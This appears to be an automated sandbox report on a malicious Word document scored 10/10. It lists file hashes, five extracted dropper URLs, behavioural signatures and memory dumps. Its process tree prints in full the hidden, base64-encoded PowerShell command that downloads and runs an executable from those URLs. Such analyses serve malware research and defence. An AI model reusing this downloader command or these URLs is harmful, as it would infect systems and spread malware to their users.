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Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240419-en
  • resource tags

    arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
  • submitted
    03/05/2024, 06:45

General

  • Target

    0fe8024219742a269712cfa35bcf3902_JaffaCakes118.doc

  • Size

    182KB

  • MD5

    0fe8024219742a269712cfa35bcf3902

  • SHA1

    ad2a753062358ece641c1449c65a6fa49e68e5d2

  • SHA256

    2caf05fb34bd7d621953ca25eb813c6ed8bcbda224727f82e072e3417ab2fa65

  • SHA512

    915c6745fa0bd520784c472612b51056ab8ca6a0e9c134f5a23ebd12f89c31ce645d21e0019ce4043ea5b53a5bf7880430c5383b77627186aa173246b50e9bf2

  • SSDEEP

    3072:9Ny2y/GdywFyktGDWLS0HZWD5w8K7Nk9rD7IBUzasiv8Ok7X:9Ny2k4PF7tGiL3HJk9rD7bzasiv8RD

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0fe8024219742a269712cfa35bcf3902_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2372
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2144
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2684

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F66C051E.wmf

      Filesize

      444B

      MD5

      e9e44acf2553f28b281fe61085d4a35f

      SHA1

      5bddbb8e96c3cc19cda3c4c078416a5791f6b0aa

      SHA256

      68f78c0f045c35926d1d87f3db234b8850f8be771d9c2a22eec5a08ee6152031

      SHA512

      47792fb89c2cb2cc9f8dc8b26691ad99a3af2a29d33246a2e5fea451cf7a610ba66f565c22aa95b27980f908f7e5d54842c82b93fa4a7f9c2bdbe2eacd58648c

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      7ad20754199fa8c228bbe5c540126bed

      SHA1

      fac9c375c30f707d6d23d1a930fc68372b2ffbba

      SHA256

      e351239a2132df67e34808ed293ac22e2d2838fcd1d351d3553dd625f733c1fb

      SHA512

      126cec038b3deea9133cbaaf237e8c1fa0ccdf4e5df411061f03397815ddb1a274757ff54282ba2c2a9f661580f128c25041f6f260c692500d102c734dafcf8b

    • memory/2372-24-0x0000000000550000-0x0000000000650000-memory.dmp

      Filesize

      1024KB

    • memory/2372-44-0x0000000006B10000-0x0000000006C10000-memory.dmp

      Filesize

      1024KB

    • memory/2372-2-0x0000000070B8D000-0x0000000070B98000-memory.dmp

      Filesize

      44KB

    • memory/2372-15-0x0000000000550000-0x0000000000650000-memory.dmp

      Filesize

      1024KB

    • memory/2372-14-0x0000000000550000-0x0000000000650000-memory.dmp

      Filesize

      1024KB

    • memory/2372-16-0x0000000000550000-0x0000000000650000-memory.dmp

      Filesize

      1024KB

    • memory/2372-17-0x0000000000550000-0x0000000000650000-memory.dmp

      Filesize

      1024KB

    • memory/2372-18-0x0000000000550000-0x0000000000650000-memory.dmp

      Filesize

      1024KB

    • memory/2372-0-0x000000002F221000-0x000000002F222000-memory.dmp

      Filesize

      4KB

    • memory/2372-23-0x0000000006B10000-0x0000000006C10000-memory.dmp

      Filesize

      1024KB

    • memory/2372-27-0x0000000006B10000-0x0000000006C10000-memory.dmp

      Filesize

      1024KB

    • memory/2372-65-0x0000000070B8D000-0x0000000070B98000-memory.dmp

      Filesize

      44KB

    • memory/2372-66-0x0000000000550000-0x0000000000650000-memory.dmp

      Filesize

      1024KB

    • memory/2372-41-0x0000000070B8D000-0x0000000070B98000-memory.dmp

      Filesize

      44KB

    • memory/2372-42-0x0000000000550000-0x0000000000650000-memory.dmp

      Filesize

      1024KB

    • memory/2372-43-0x0000000006B10000-0x0000000006C10000-memory.dmp

      Filesize

      1024KB

    • memory/2372-7-0x0000000006A10000-0x0000000006B10000-memory.dmp

      Filesize

      1024KB

    • memory/2372-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2372-60-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2684-34-0x00000000022E0000-0x00000000022E8000-memory.dmp

      Filesize

      32KB

    • memory/2684-33-0x000000001B5B0000-0x000000001B892000-memory.dmp

      Filesize

      2.9MB